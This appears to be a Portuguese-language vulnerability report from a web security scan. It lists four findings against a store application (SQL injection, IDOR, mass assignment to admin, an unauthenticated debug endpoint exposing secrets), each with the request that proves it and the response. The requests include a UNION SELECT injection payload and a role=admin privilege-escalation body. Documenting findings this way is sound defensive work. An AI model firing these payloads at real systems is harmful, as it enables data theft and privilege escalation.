CríticoSQL Injection (por efeito)CWE-89 · OWASP A03
Parâmetro ?busca em /produtos concatenado na query. Confirmado extraindo um valor plantado no banco — não por assinatura de erro.
GET /produtos?busca=x' UNION SELECT versao(),2,3--
→ 200 · corpo devolve: PostgreSQL 15.4 (canário recuperado)
✓ provado por efeito — dado do banco recuperado
CríticoIDOR — quebra de acessoCWE-639 · OWASP A01
Trocar o {id} em /api/pedidos/{id} devolve pedidos de outros usuários. Provado por diferencial: dois usuários, mesma rota, dado do outro.
GET /api/pedidos/1043 (sessão do user B)
→ 200 · devolve pedido do user A (nome, endereço, itens)
✓ provado por diferencial — dado alheio recuperado
AltoMass assignmentCWE-915 · OWASP A08
O endpoint PATCH /perfil aceita o campo role no corpo. Enviar role=admin eleva o próprio privilégio.
PATCH /perfil {"nome":"x","role":"admin"}
→ 200 · perfil relido: role=admin (escalada confirmada)
✓ provado por efeito — privilégio elevado e relido
AltoEndpoint de debug expostoCWE-215 · OWASP A05
/internal/_debug acessível sem autenticação, expondo variáveis de ambiente e tokens. Distinguido do catch-all do SPA por fingerprint de rota inexistente.
GET /internal/_debug
→ 200 · JSON com DB_URL, JWT_SECRET, chaves internas
✓ confirmado — não é o 200 genérico do front
